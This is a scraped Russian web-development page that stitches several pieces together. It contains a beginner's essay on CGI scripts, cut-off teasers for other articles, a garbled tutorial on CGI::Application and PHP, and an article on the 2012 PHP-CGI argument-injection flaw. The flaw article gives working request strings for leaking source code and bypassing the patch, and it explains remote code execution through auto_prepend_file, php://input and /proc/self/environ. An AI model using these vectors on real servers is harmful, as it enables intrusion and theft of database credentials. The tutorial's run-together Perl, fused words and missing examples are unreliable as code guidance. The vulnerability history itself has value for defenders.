Песнь о cgi скриптах


Содержание

Энциклопедия создания сайтов для начинающих

Песнь о CGI-скриптах

Сегодня такие вещи как гостевая книга, поиск по серверу, форма для отправки сообщений — неотъемлемый атрибут практически любого серьезного сайта. Проблема внедрения этих и других прибамбасов, разумеется, всячески возбуждает воображение начинающего вебмастера, лишая его сна, аппетита и тяги к пиву. К сожалению, изучение HTML-исходников страниц конкурентов ничего, кроме ссылок на некий «cgi-bin», не дает, да еще в телеконференциях иногда встречается упоминание о каких-то cgi-скриптах. Эта сатья и посвящена основам использования этих самых cgi-скриптов во славу и процветание вашего сайта.

Для начала, думаю, надо разобраться с понятиями (вообще разборки и понятия — сегодня очень актульно :-)). CGI-скрипт — это программа, которая выполняется на Web-сервере по запросу клиента (то есть посетителя Web-сайта). Программа эта принципиально ничем не отличается от обычных программ, которые установлены на вашем компьютере — будь то MS Word или игра Quake. CGI — это не язык программирования, на котором написан скрипт, а Common Gateway Interface — специальный интерфейс, с помощью которого и происходит запуск скрипта и взаимодействие с ним.

Правда есть один довольно неприятный момент. На сервере, где находится ваш сайт, должно быть разрешено выполнение cgi-скриптов. Дело в том, что скрипт, как и любая другая программа, может выполнять системные команды на сервере, что представляет потенциальную угрозу безопасности. Как сказал один мой знакомый админ: «Одними cgi-скриптами я могу взломать систему за 5 минут». Так что если вы разместили свой сайт на бесплатном сервере, например, Xoom или Chat.Ru, то вы не сможете запускать скрипты. Впрочем, некоторые бесплатные сервера допускают использование CGI, например, I-Connect. Ну, а если вы платите за размещение страницы, то, как правило, использование cgi-скриптов разрешено (если нет — то и платить провайдеру за поддержку страницы, на мой взгляд, не стоит).

Как работает CGI-скрипт? Я, конечно, могу процитировать какое-нибудь техническое руководство, но пользы от этого будет мало. Поэтому расскажу, как все происходит, своими словами. Итак, посетитель вашей страницы заполняет поля формы, например, для записи в гостевую книгу. После этого он нажимает кнопку «Submit», которая и запускает cgi-скрипт. Скрипт выполняет запрограммированные действия — в данном случае считывает данные из формы и пишет их в файл гостевой книги — и посылает в броузер посетителя обычный HTML-код, например, сообщение «Спасибо, что вы оставили запись в гостевой книге».

Преимуществ CGI-скриптов перед JavaScript и Java на мой взгляд, три, и они весьма значительны:

  • так как программа выполняется сервером, нет никакого значения, какой у посетителя броузер — древний Lynx или новейший Internet Explorer. Нет никаких глюков и сообщений об ошибках;
  • cgi-скрипты позволяют реализовать гораздо более широкий набор функций;
  • код cgi-скрипта закрыт для конкурентов :-)

На каком же языке может быть написана CGI-программа? Ответ вас приятно удивит: практически на любом. Главное, чтобы сервер мог выполнить эту программу, то есть на сервере должен быть установлен компилятор или интерпертатор соответствующего языка программирования. Для систем на базе Unix это обычно C/С++, Perl, Shell; для серверов под управлением Windows NT — те же Perl, С/С++ и любая Windows-система программирования, поддерживающая написание cgi-приложений, например, Visual Basic или Delphi.

Лично я предпочитаю язык Perl. Он является интерпретируемым, то есть программы на Perl не требуют компиляции. Это очень удобно: вы отлаживаете программу на своей домашней машине (где, к примеру, установлена Windows), а затем просто копируете ее на сервер (где, скорее всего, установлен один из клонов Unix — FreeBSD, Linux, Sun Solaris, HP-UX и т.п.). При смене провайдера проблем с переносом скриптов также не будет.

Если же вы решите использовать компилятор, например, C/C++, то вам нужно будет компилировать исходный текст программы на сервере, для чего необходим telnet-доступ к серверу, который провайдеры давать очень не любят.

«Да, но я не знаю Perl» — скажете вы. Ха! Для того, чтобы наладить работу скриптов на вашем сайте, знания языка программирования особенно не нужно. В Сети лежит просто немеренное количество абсолютно бесплатных скриптов на любой вкус — от гостевых книг до сложных баз данных. Все, что вам нужно — хотя бы начальные знания английского языка. Скачать любой скрипт можно с сайта CGI-Resources.Com. Это специализированный каталог, содержащий ссылки на тысячи скриптов на самых разных языках программирования.

Предположим, вы решили использовать скачанный из Сети скрипт. Чтобы он у вас нормально работал, нужно сделать следующее:

  • в начале скрипта вам нужно будет указать некоторые данные, необходимые для запуска скрипта, например, путь к интерпретатору Perl (обычно /usr/local/bin/perl/ или просто /usr/bin/perl/), URL вашего сайта, имя файла, в который будут записываться результаты выполнения скрипта и т.п. Все строки, которые нужно заменить, обычно выделены комментариями, так что вы их легко найдете
  • В зависимости от конфигурации Web-сервера, имя скрипта должно иметь определенное расширение и/или скрипт должен находиться в определенном каталоге. Например, имя скрипта должно иметь расширение .cgi и скрипт должен лежать в каталоге cgi-bin. Проконсультируйтесь у администратора вашего сервера о требованиях, предъявляемых к скриптам.
  • Так как скрипт — это программа, нужно присвоить ему атрибут «исполняемый».
  • Если скрипт пишет данные в какой-нибудь файл (например, файл гостевой книги), то этот файл должен быть доступен для записи.

Если у Вас не коммерческий проект, что и подразумевается для начинающнго вебмастера, то Вы можете воспользвоваться бесплатным CGI-хостингом. То есть, получить быстро и бесплатно гостевые книги, доски объявлений, чаты и прочее.

Песнь о cgi скриптах

Приветствуем Вас, уважаемые читатели!

Итак, из статьи «Своя рассылка на PHP» Вы уже узнали не только как можно отправлять письма с помощью PHP, но и как организовать простую рассылку своими силами. С момента выхода той статьи, я получил немало отзывов и вопросов. В основном людей интересовало можно ли с помощью PHP отправлять письма с атачментами (вложениями). Ну что ж, эта краткая статья и послужит ответом. Итак, далее представлен класс, который с легкостью позволяет прикреплять файлы к письму. clas

Публикация в разделе: PHP

Сущность механизма отправки файлов в текстовом сообщении заключается в том, что письмо состоит из нескольких частей, границы которых обозначены уникальной сигнатурой. Именно она и позволяет Вам прикладывать к письму несколько файлов и не смешивать их содержимое в процессе передачи данных. Я написал класс (точнее, если быть честным — это стандартное решение подобной проблемы. Вы можете найти такой же класс на php.spb.ru (

Публикация в разделе: PHP

Существует общепринятое мнение, что реклама должна вызывать положительные эмоции, создавать хорошее настроение и так далее. Это приятное заблуждение осталось, по-видимому, от тех времен, когда реклама рассматривалась как вид искусства и оценивалась по эстетическим параметрам. Подобный подход и сейчас можно наблюдать в оценке работ на конкурсах рекламы. *Эффект незавершенного действия * Если рассматривать рекламу как целевое сообщение, то все меняется. Рассмотрим только один п

Публикация в разделе: Менеджмент проектов

Вам нужен сайт? Как и любое другое серьезное дело, разработка сайта требует финансовых затрат и подчас немалых. Поэтому важнейшим вопросом становится выбор исполнителя. Обычно, это происходит так: Руководство фирмы принимает решение о необходимости разработки сайта. Среди сотрудников фирмы назначается исполнитель этого решения. Его первым шагом является составление нескольких требований, которым должен отвечать будущий сайт. Типичные требования: стильный дизайн, информация о нашей

Публикация в разделе: Менеджмент проектов

За 5 лет существования XML, публикаций о нем, было, пожалуй, более, чем о какой-либо другой интернет-технологии. И все же до сих пор не так уж многие имеют четкое представление об XML. Мне случалось неоднократно наблюдать как на собеседованиях программисты, устраивающиеся на работу и не понаслышке знакомые со своей предметной областью, в вопросе о предназначении XML откровенно > словно нерадивые студенты на экзамене. Подобные обсто

Публикация в разделе: XML

Поток безопасного оформления сайтов, не оставляет после их просмотра никаких переживаний, кроме безысходности. Несмотря на все ограничения сети, люди научились передавать эмоции, даже при низких скоростях передачи данных. Стандартного пути, ведущего к цели, не существует, но существует человеческий разум, который может привести к желаемому результату. Нужно всё время разрывать существующую действительность, искать идеи и работать над собой, что бы постоянно приближаться к совершенству.

Публикация в разделе: Графика

PHP, конечно, язык хороший. Во всяком случае, синтаксис у него на порядок проще и яснее, чем у Perl. И конструкций/инструкций меньше. Это достоинство. Например, в Паскале конструкций еще меньше, но это не мешает ему называться почти что одним из самых алгоритмизируемых языков.С чем очень неприятным сталкивается каждый программист, который переходит на Perl? Конечно, с тем, что ошибки скрипта выводятся в log’и сервера, а не прямо в браузер. И нельзя это никак перекл


Публикация в разделе: Perl / CGI

Сегодня такие вещи как гостевая книга, поиск по серверу, форма для отправки сообщений — неотъемлемый атрибут практически любого серьезного сайта. Проблема внедрения этих и других прибамбасов, разумеется, всячески возбуждает воображение начинающего вебмастера, лишая его сна, аппетита и тяги к пиву. К сожалению, изучение HTML-исходников страниц конкурентов ничего, кроме ссылок на некий «cgi-bin», не дает, да еще в телеконференциях иногда встречается упоминание о каких-то cgi-скриптах. Эта

Публикация в разделе: Perl / CGI

Прежде всего нужно подключить принтер, в смысле добавить устройство в систему. В большинстве случаев принтер подключается к единственному параллельному порту, но теоретически персональный компьютер может поддерживать до четырех портов принтера — в DOS это LPT1-LPT4, а в Linux это /dev/lp0-/dev/lp3. Убедимся, что устройство (порт) есть в вашей машине, для чего выполним следующую команду: ls -l /dev/lp0 Результат работы: crw-rw—- 1 root lp 6,

Публикация в разделе: ОС Linux/Unix

1. Открываем исходное изображение. Для выделения только груши воспользуемся Magic Wand Tool , выбрав этот инструмент кликаем в любое пустое место нашего изображения, после чег

CGI-скрипты: что это, способы создания

CGI — это аббревиатура от слов Common Gateway Interface. Так называется небольшая программа, которая предлагает надежный способ взаимодействия веб-серверов в браузере, выполняя это способами, которые были невозможны с помощью HTML. Большинство скриптов CGI написаны на Perl. Это обычный язык программирования, который используется для создания сценариев на стороне сервера со стандартным текстовым файлом с расширением (.cgi).

Основные условия работы программы

Прежде чем использовать символы CGI скриптов, пользователь должен проверить, поддерживает ли их веб-узел сайта, а также уточнить, если ли у разработчика полномочия на их применение. Некоторые хосты этого не допускают. Если разработчик сайта видит папку CGI-bin при загрузке HTML-файлов, ему разрешено использовать сценарии GCI.

Одни хосты позволят запросить у них функцию CGI-bin, поскольку она не всегда предоставляется по умолчанию. Другие хосты могут протестировать и одобрить сценарии, прежде чем дать разрешение на использование CGI скриптов.

Если разработчику не требуется редактирование, ему все равно потребуется текстовый редактор для написания сценария по запросам сайта. Какой бы редактор не планировался к использованию, важно сохранять файл в виде обычного текста.

Кроме того, понадобится программа FTP, которая поставляется с коммерческой версией Pro или бесплатной версией Lite. Любой вариант будет работать до тех пор, пока он загружается в режиме ASCII, чтобы помочь пользователю пройти через установку, так как создание CGI скриптов может занять много времени.

Конфигурация и монтаж

Если у пользователя есть CGI-bin, то имеется хороший шанс для выполнения сценария CGI. Для правильной установки предварительно рекомендуется посмотреть страницу часто задаваемых вопросов веб-хоста, панель управления сайтом, документы поддержки или установочное сообщение. Одной из наиболее распространенных ошибок для веб-мастеров является установка скриптов CGI с неправильным путем.

Если уже есть сценарий, открытый для использования, путь должен быть правильным, иначе сервер не будет работать. Пока открывается скрипт, проверяют обратную связь относительно любых переменных, которые требуют настройки и комментарии этой строки, начинающиеся с «#».

Когда определен скрипт для сервера, можно приступать к загрузке. Обязательно выполняют это в режиме ASCII, поскольку простой CGI скрипт является текстовым файлом. Технически сценарии могут быть выполнены из любого каталога, но большинство хостов позволяет это выполнять только из CGI-бина. Важно также использовать правильное разрешение для файлов, использующих сценарий CGI.

Разрешение для файлов

Существует три типа доступа к данным с тремя разными разрешениями для каждой группы.

Серверы UNIX позволят установить разные уровни доступа. Важно знать, какие разрешения имеет сценарий:

  1. Группа — состоит из добавленных пользователей на сервере. При необходимости будет разрешено удалить их разрешение.
  2. Пользователь — состоит только из владельца файла в группе, это учетная запись хостинга.
  3. Другое — группа состоит из всех других аспектов на сервере.
  4. Чтение — позволяет пользователям читать и понимать данные, указанные в файле.
  5. Write — разрешение на запись позволит пользователям расшифровать и записать новую дату, удалить старые данные из архива.
  6. Execute — разрешение на выполнение, позволит отправлять файл только в том случае, если программа или Upload скрипт CGI exe исполняются. Предварительно убеждаются, что скрипт будет работать до ссылки в режиме общего пользования.

Пример использования Application

CGI — приложение упрощает создание сложных, высокопроизводительных, многоразовых веб-приложений, выполнение проектирования, запись и развитие веб-проектов. Оно разумно применяет использование современных технологий и методов, которые связывают разработчика с любым набором инструментов операционной системы или сервера.

Имеет легкий вес (с точки зрения использования памяти), что делает его подходящим для обычных сред CGI, и высокий выбор производительности в таких постоянных средах, как FastCGI или mod_perl.

Добавляя PLUG-INS по мере роста потребностей, можно использовать сложные функции, когда они будут нужны, например, нужно написать приложение для поиска через базу данных виджетов. Скрипт экземпляра — это то, что фактически вызывается пользовательским веб-сервером. Это очень маленький простой файл, который просто создает экземпляр пользовательского приложения и вызывает унаследованный метод, run (). Ниже приведено полное описание «widgetview.cgi»:

#!/usr/bin/perl -wuse WidgetView

my $webapp = WidgetView->new()

Как можно видеть, widgetview.cgi просто использует прикладной модуль, который реализует пакет Perl под названием WidgetView.pm.

CGI Application заботится о внедрении методов new () и run (). При этом пользователь никогда не должен вызывать print () для отправки любого вывода в STDOUT. Вместо этого весь вывод возвращается, как скаляр.


CGI — самый значительный вклад в управление состоянием приложения. Все, что необходимо для продвижения приложения вперед, это установить значение параметра формы HTML «rm» в значение «режима выполнения», которое нужно обработать отправкой формы. Это ключ к CGI Application.

Методы сценариев

Используя CGI Application, пользователь получает доступ к целому ряду встроенных методов. Ниже перечислены те, которые, вызываются из скрипта.

Метод new () является конструктором для CGI. Он возвращает ссылку на пакет приложений (класс). Он может принимать набор параметров, как пары: ключ => значение.

Этот метод может принимать некоторые конкретные параметры:

  1. TMPL_PATH — определяет путь к каталогу шаблонов.
  2. QUERY — позволяет указать уже созданный объект запроса CGI.pm.
  3. PARAMS — этот параметр, позволяет установить во время выполнения ряд настраиваемых режимов. Передавая различные значения в сценариях разных экземпляров, которые используют один и тот же модуль приложения, можно достичь более высокого уровня повторного использования.

Run () вызывается на объект Application Module из скрипта. При вызове он выполняет функциональные возможности пользовательского прикладного модуля.

Этот метод сначала определяет состояние приложения, просматривая значение параметра CGI, заданного параметром mode_param (). По умолчанию В «rm» для В «Run Mode», который будет содержать имя режима работы. Если это не указано, состояние по умолчанию равно значению start_mode (). Как только режим определен, run () просматривает таблицу отправки, хранящуюся в run_modes (), и находит указатель функции, который вводится из имени режима. Если найден, функция вызывается, а возвращаемые данные print () ‘ed отправляются в STDOUT и в браузер. Если указанный режим не найден, в таблице run_modes (), run () будет croak ().

Поддержка PSGI

Приложение предлагает встроенную поддержку PSGI. Объектом запроса по умолчанию для этого является:

Самый простой способ — создать и вернуть PSGI — совместимый coderef. Нужно передать аргументы в hashref так же, как и к новому. Это возвращает PSGI-совместимый coderef, используя CGI . PSGI в качестве объекта запроса. Чтобы использовать другой объект запроса, создают собственный объект run_as_psgi(), как показано ниже:

my $psgi_aref = $webapp->run_as_psgi

Точно так же, как run, печать, не выводит и не возвращает структуру данных, требуемую спецификацией PSGI. Используют это, если нужно запустить приложение поверх обработчика, совместимого с PSGI, например, Plack. Конечный результат может выглядеть так:

Спецификация PSGI позволяет возвращать дескриптор файла или ссылку подпрограммы вместо байтовых строк. В режиме PSGI это поддерживается непосредственно CGI Application.

Методы возможного переопределения

CGI реализует некоторые методы, которые, как ожидается, будут переопределены путем их реализации в модуле подкласса. Эти методы заключаются в следующем:

  1. Настройка(). Этот метод вызывается унаследованным методом конструктора new ().
  2. Метод setup () следует использовать для определения следующего свойства / методов.

Метод setup () может вызывать любой из методов экземпляра пользовательского приложения. Эта функция является хорошим местом для определения свойств, специфичных для приложения, с помощью $ webapp-> param ().

Метод setup () может быть реализован, как изображение ниже:

Однако часто все, что должно быть в setup (), определяет режимы запуска AutoRunmode, что позволяет сделать это с помощью простого синтаксиса, используя атрибуты режима запуска.

Метод teardown (). Если он реализован, то вызывается автоматически после создания CGI скриптов и запуска приложения. Его можно использовать для очистки после операций. Типичное использование функции teardown () — отключить соединение с базой данных, которое было установлено в функции setup (). Также можно использовать метод teardown () для хранения информации о состоянии приложения на сервере: cgiapp_init ().

Отправка чистых URI для запуска режимов

Современные веб-фреймворки обходятся без ограничений в URI, обеспечивая вместо этого чистые URI:

Чистым URI для описания одного и того же ресурса может быть:

Процесс сопоставления этих URI для запуска режимов называется диспетчеризацией и обрабатывается CGI :: Application :: Dispatch. Дополнительный диспетчер не требуется.

Можно работать над проектом CGI :: Application на рабочем столе или ноутбуке без установки полнофункционального веб-сервера, такого как Apache. Вместо этого устанавливают CGI :: Application :: Server из CPAN. После нескольких минут установки у пользователя будет собственный сервер приложений.


Проводят автоматизированное тестирование. Test :: WWW :: Mechanize :: CGIApp позволяет выполнять функциональное тестирование проекта CGI :: App без запуска веб-сервера. Test :: WWW :: Mechanize можно использовать для проверки приложения через настоящий веб-сервер.

Прямое тестирование также выполняется легко. CGI- приложение обычно печатает выходные данные своих режимов работы в STDOUT. Это можно подавить с помощью переменной среды CGI_APP_RETURN_ONLY. Приложение имеет подключаемую архитектуру, которая проста в использовании и в разработке новых плагинов.

Пользовательский контент CGI

Он был первой спецификацией, установленной для разработки динамического контента на веб-сервере. CGI контент, доставляемый пользователям, не является статическим HTML-кодом, считываемым из файла на сервере. Это динамический контент, сгенерированный в скрипте, который может извлекать информацию из базы данных, адаптировать содержимое к типу браузера, делающего запрос, будь то новый пользователь или нет.

PHP — это язык, специально предназначенный для реализации динамического содержимого на веб-серверах. Это делает разработку скриптов CGI в PHP намного проще, чем на других языках. Когда сервер начинает выполнение, он предоставляет всю необходимую ему контекстную информацию:

  1. Полная информация о запросе, включая имя/IP удаленного хоста, запрошенный URL и его аргументы, строку запроса (если они есть).
  2. Куки, связанные с запросом.
  3. В случае запроса POST, в результате отправки веб-формы, имена и значения параметров.

Основной пример скрипта PHP

Сценарий должен выполнить процесс, а затем выводить допустимый HTML-код, включая заголовки HTTP. Пример скрипта PHP:

В этом скрипте первая и последняя строки являются HTML-кодом, а предложения PHP заключены в маркеры, затем получают скрипт из браузера, добавляя строку запроса из двух аргументов «data1» и «data2».

Помимо глобальной переменной $ _SERVER в скрипте доступны следующие ассоциативные массивы запуска CGI скриптов:

  1. $ _GET — имена и значения аргументов, переданных серверу в запросе GET.
  2. $ _POST — имена и значения параметров, отправленных на сервер в запросе POST, при отправке формы.
  3. $ _COOKIE — имена и значения файлов cookie, прикрепленных к запросу.
  4. $ _REQUEST — все элементы в $ _GET, $ _POST и $ _COOKIEnpm для запуска php-скриптов с nodejs через cgi. Этот модуль был разработан для deskshell, чтобы обеспечить беспрепятственную обработку сценариев php.

Учитывая, что разработчик получает запрос в nodejs и имеет объект запроса, называемый req, и объект ответа, называемый res, он должен использовать этот модуль, как представлено ниже:

Таким образом запрос на /test.php будет отвечать модулю php для скриптов CGI. Функция paramsForRequest считывает объект запроса и устанавливает правильные переменные среды cgi для запроса. Это предоставляется, как отдельная функция, поэтому при необходимости можно добавлять дополнительные переменные запроса. Функция detectBinary в окнах ищет дополнительный модуль узла «php-bin-win32», который предоставляет переносимый php-файл. Этот код работает для deskshell и в том случае, если необходимо использовать его для каких-либо других целей и дополнительных функциях.

Первая программа

Чтобы написать простую программу CGI в Perl, придерживаясь традиции, используют фразу «привет мир». Здесь она представлена полностью. Сохраняют это в файл с именем «hello» в каталоге cgi-bin и запускают его, указав URL-адрес:localhost/cgi-bin/hello в браузере. Пользователь должен увидеть текст «Hello world» в браузере. Если нет, знакомятся с разделом boxout для отладки программ CGI, чтобы получить помощь в отслеживании проблемы.

Это простая программа. Есть только несколько моментов, которые отличают разработку CGI скриптов на Perl от стандартной программы, запускающейся из командной строки. Первой из них является опция -T на линии shebang. Это переводит Perl в режим «taint». В этом режиме Perl автоматически будет игнорировать любые данные, поступающие от пользователя, и не позволит передавать эти данные в операционную систему до тех пор, пока они не будут очищены. В этом смысле taint-режим — хорошая идея.

Второе отличие заключается в добавлении строки, которая печатает заголовок содержимого. Это будет первая проба пользователя с протоколом CGI.

Все программы CGI должны выводить набор заголовков в браузер пользователя. В большинстве случаев единственным заголовком, который нужно будет вернуть, является контент. Это сообщает браузеру, какие данные программа отправляет. В этом примере возвращается простой текст, поэтому тип содержимого был «text/plain».

Обычно возвращают HTML, поэтому тип контента будет «text / html». Нет причин, по которым программа не может вернуть более сложные данные, например PNG («image / png»). Набор заголовков должен быть отделен от фактических данных пустой строкой. Это достигается путем печати двух символов новой строки после финального заголовка CGI скриптов на сервере.Также обращают внимание, что программа записывает свой вывод в STDOUT.

Веб-сервер будет организован для сбора любых данных, записанных в STDOUT, и для передачи их обратно в браузер. Предыдущий пример в действительности ничего не делал. Нет необходимости иметь программу CGI, которая отображает только фиксированный текст. Это можно было бы легко сделать с помощью HTML-страницы. Пользователь должен учиться на примере того, что имеет динамический выход. Например, сценарий, который печатает текущее время:

Этот скрипт работает по тому же принципу, что и последний, но выдает системное время, используя функцию при разработке CGI скриптов на Perl — «localtime» и печатает это значение. Каждый раз, когда перезагружается скрипт, время будет обновляться. Еще раз этот скрипт выводит обычный текст. Требуется рассмотреть версию, которая возвращает HTML:

Эта программа выглядит несколько более сложной, но на самом деле она делает то же самое, что и в предыдущем примере. Добавленная сложность исходит исключительно из того факта, что должны отображать полную HTML-страницу.

Если пользователь когда-либо просматривал настройки своего браузера, вероятно, видел флажки или переключатели для включения или отключения Javascript и Java, но никогда не видел их для CGI или PHP. Это потому, что Javascript и Java выполняются браузером (или нет, если пользователь отключит их). Браузер ничего не знает о CGI или PHP. Он просто получает чистый HTML-код после выполнения сценариев на сервере. Встроенный способ создания CGI скриптов — PHP, ColdFusion, ASP, в основном, используется разработчиками, создающим веб-страницы «front end», которые будут обращаться к базам данных «назад», например, клиент/серверные веб-приложения.

Большим преимуществом метода CGI является то, что скрипты хранятся в файлах, поэтому есть буквально тысячи свободно доступных скриптов, уже написанных и готовых для загрузки и использования на веб-сайте. Это означает, что не нужно изучать язык сценариев, чтобы получить преимущества от скриптов, кто-то уже сделал эту работу за пользователя.

PHP: старая песня о главном

Содержание статьи

PHP: старая песня о главном

На сегодняшний день, несмотря на укрепление позиций своих конкурентов, PHP остается самым популярным языком для разработки веб-приложений. Вместе с тем старый добрый PHP продолжает пользоваться популярностью у взломщиков. Причем если раньше под их прицел попадали уязвимые PHP-скрипты, то сейчас все чаще — баги самого интерпретатора.


Обратная сторона PHP

За последние несколько месяцев сообщения о все новых уязвимостях в PHP перестали вызывать удивление, а некоторые баг-репорты иначе как курьезными не назовешь. Одна из последних уязвимостей является, пожалуй, самой серьезной в истории PHP, так как позволяет выполнить код на любом сервере, где PHP настроен для работы по интерфейсу CGI. Давай разберемся, откуда растут ноги этого бага и каким образом мы можем им воспользоваться.

Как это было

В январе 2012 года голландская команда Eindbazen принимала участие в Nullcon CTF, очередном для себя capture-the-flag-соревновании. В ходе решения одной из задач парни случайно обнаружили странную уязвимость в PHP, благодаря которой впоследствии и выиграли, изменив результаты общего зачета. Выяснилось, что организаторы Nullcon такой уязвимости не задумывали, — это был 0-day-баг в PHP. Через несколько дней Eindbazen отправили разработчикам PHP сообщение об уязвимости вместе с рекомендуемым патчем. Казалось бы, бери — не хочу. Однако в PHP решили пойти по своему пути и были впоследствии за это наказаны.

Возможность выполнения кода первые часы была на сайте крупного хостера

С момента сообщения об уязвимости прошло три месяца, а патча все не было. И вот в один прекрасный день на сайте reddit.com появилась ссылка на внутренний тикет баг-трекера PHP, по непонятным причинам оказавшийся в публичном доступе. В нем обсуждался один из векторов атаки, который позволял просматривать исходный код любого PHP-скрипта, работающего через CGI. Eindbazen ничего не оставалось, как опубликовать информацию об уязвимости, так и не дождавшись выхода патча. Причем в их сообщении также говорилось о том, что баг позволял не только просматривать исходники скриптов, но и выполнять произвольный PHP-код. Хотя Eindbazen не опубликовали готовый вектор для выполнения кода, каждый, кто внимательно прочитал advisory, мог легко догадаться, что для этого требовалось.

Анатомия уязвимости

Прежде чем начать разбор уязвимости, необходимо сказать пару слов о работе PHP через CGI. Вообще существует несколько способов подключения PHP к веб-серверу Apache. Самый популярный метод реализуется с помощью модуля mod_php, который позволяет PHP и Apache взаимодействовать друг с другом в рамках одного процесса. Другой способ осуществляется посредством CGI (Common Gateway Interface). CGI — это порядком устаревший интерфейс, используемый для связи внешней программы с веб-сервером, причем такая программа может быть написана на любом языке. В режиме CGI для каждого запроса веб-сервер запускает отдельный процесс, что весьма негативно отражается на производительности. Именно поэтому на большинстве серверов c Apache используются более производительные варианты: mod_php или FastCGI.

Итак, для работы Apache и PHP в режиме CGI необходимо использовать следующие параметры конфигурации веб-сервера:

Такая конфигурация Apache определяет, что для обработки запроса пользователя веб-сервер выполнит программу, путь до которой указан в директиве mod_action. Причем аргументы для запуска приложения генерируются самим веб-сервером. Один из наиболее важных аргументов — значение переменной окружения SCRIPT_FILENAME, в которой отражается полный путь до скрипта, к которому обратился пользователь. Если юзер передал какие-либо аргументы для скрипта в своем запросе, то они передаются через стандартное устройство ввода stdin. Вывод же данных по результату выполнения операции, как ты, наверное, уже догадался, происходит в стандартное устройство вывода stdout. Если абстрагироваться, то получается, что наш браузер напрямую передает данные в stdin бинарного приложения на удаленном сервере.

Суть огромного количества уязвимостей заключается в некорректной обработке системой данных, полученных от пользователя. А в случае с CGI за обработку данных, поступающих в stdin, отвечает сам веб-сервер. Но как именно он обрабатывает данные, поступающие от пользователя? Настало время обратиться к документации и понять, каким же все-таки образом преобразуются данные на пути от строки в браузере до попадания в устройство ввода stdin.

Согласно спецификации CGI RFC, если строка запроса, то есть данные после знака «?» в URI-адресе, не содержит неэкранированный символ «=», то веб-сервер должен считать такой запрос поисковым, разбивать строку запроса на символ «+» (экранированный пробел) и отправлять полученные ключевые слова через stdin CGI-обработчику. Apache все делает в точности, как описано в RFC: здесь его не в чем упрекнуть. А какие именно данные ждет на вход обработчик PHP-CGI? Интересный вопрос.

В 2004 году не кто иной, как Расмус Лердорф, он же отец-основатель PHP, предложил убрать из исходников CGI-обработчика следующий код:

Эти условия якобы мешали ему тестировать интерпретатор. На просьбу к разработчикам напомнить, зачем вообще этот код нужен, видимо, никто не откликнулся, после чего данный код был убран. Кроме того, никто не вспомнил, что разработчиками веб-сервера не было реализовано экранирование символа «-» перед передачей параметров в CGI-бинарник. Возможно, это бы прояснило суть присутствующих проверок, а именно то, что удаленный из исходников код представлял собой защиту против подобного поведения веб-сервера: в режиме CGI PHP он попросту не парсил stdin-параметры, предварительно определив свой режим запуска и осуществляя соответствующую проверку на наличие в переменных окружения значений, характерных для окружения веб-сервера.

Стандартная функция языка Си getopt(), используемая в данном коде, разбирает аргументы командной строки. Ее аргументы argc и argv являются счетчиком и массивом аргументов, которые передаются функции main() при запуске программы. Элемент argv, начинающийся с «-» (и не являющийся «-» или «–»), считается опцией. Отсутствие экранирования символа «-» в результате обработки запроса веб-сервером и заглушки при обработке потока с STDIN обработчиком CGI, приводит к возможности запустить обработчик с какой-либо поддерживаемой им опцией.

«Баг апача», — скажешь ты, но будешь неправ, так как на самом деле это фича. Все эти восемь лет любой сервер с PHP-CGI мог быть легко взломан с использованием лишь адресной строки браузера. Все же удивительно, что информация об уязвимости появилась спустя столько времени.

Эксплойты

Итак, уязвимость позволяет передать в php-cgi любые параметры, а их у него много, например:

  • s — показывает исходный код скрипта;
  • n — отключает использование директив из php.ini;
  • T — запускает скрипт n количество раз;
  • d foo[=bar] — устанавливает или перезаписывает значения директив из php.ini.

Просмотр данных для подключения к БД

Необходимо также сказать о параметре -r — он позволяет выполнять PHP-код напрямую, однако разработчики ограничили использование данной возможности в CGI-версии интерпретатора. Впрочем, это никак не мешает выполнению произвольного кода, так как существует другой способ. Но начнем, пожалуй, с более «безобидного» вектора.

Blackbox? Nope!

Речь идет о показе исходного кода скрипта. Для этого достаточно сделать запрос вида http://site.com/index.php?-s, и PHP без боя выдаст все твои секреты, любезно сделав подсветку синтаксиса. Именно этот вектор стал самым массовым, так как позволял легко определить наличие уязвимости. Когда появились сообщения об этом баге, первым делом я отправился проверять его на своем блоге. И, как ни странно, он прекрасно работал, причем на любом сайте моего хостера. В течение суток можно было, скажем, легко получить данные для подключения к базе данных, не говоря уже о выполнении кода.

Фейсбук с помощью фейковой уязвимости ищет таланты

RCE собственной персоной

Итак, каким образом можно выполнить код, если параметр -r недоступен? Все просто, ведь у нас есть возможность устанавливать значения любых директив конфигурации PHP, включая auto_prepend_file и auto_append_file, которые позволяют автоматически подключать указанный файл при выполнении любого скрипта. Чтобы подключить PHP-сценарий, расположенный на нашем сервере, необходимо также установить значение On для директивы allow_url_include, которая на большинстве серверов отключена по умолчанию, тем самым запрещая подключение внешних скриптов по URL. И наконец, чтобы нам не мешали подводные камни вроде Suhosin patch, призванные усилить защиту PHP, используем флаг ‘-n’. В этом случае PHP будет работать с дефолтными настройками php.ini, а значит, не загрузит нежелательные для нас расширения. В итоге конечный вектор будет выглядеть следующим образом:

Еще более удобный способ заключается в использовании внутреннего потока php://input, позволяющего получить доступ к необработанным POST-данным. Используя все ту же директиву auto_prepend_file вкупе с php://input, можно выполнять код без обращения к внешним ресурсам. Для этого POST-запрос должен иметь следующий вид:

Не инпутом единым

Последний вектор атаки основывается на все том же способе с автоматическим подключением сценария, однако вместо использования потоков ввода/вывода производится инжект кода в /proc/self/environ. Данный файл, вернее символическая ссылка, являясь частью виртуальной файловой системы ProcFS, содержит значения переменных окружения текущего процесса. Это как раз то, что нужно: ведь в режиме CGI для каждого HTTP-запроса создается отдельный процесс. ProcFS можно встретить в любой *nix-системе, за исключением FreeBSD, тем не менее доступ на чтение /proc/self/environ есть не всегда. При его наличии для успешного выполнения кода достаточно подключить /proc/self/environ через auto_prepend_file и поместить злой код, например в User-Agent:


Патченный патч

Действия разработчиков PHP по ходу всей этой истории выглядят довольно странно и отчасти комично. Мало того что им не хватило трех месяцев для устранения бага, автором которого по иронии судьбы стал сам основатель языка, так еще они умудрились выпустить бажный патч, который можно было легко обойти, слегка видоизменив запрос. Первоначальный патч содержал следующие строки:

Данный код проверяет строку запроса: если первый символ является дефисом и отсутствует «=», то PHP не будет парсить параметры в режиме CGI. Однако обрати внимание, что проверяется уже раскодированная строка запроса. Это значит, что возможен обход патча, если в запросе присутствует символ «=» в URL-кодировке (%3d). Иначе говоря, патч никак не повлиял на вектор для выполнения кода, поскольку там и так присутствует %3d, а для просмотра исходного кода потребовалось немного изменить запрос: /?-s+%3d.

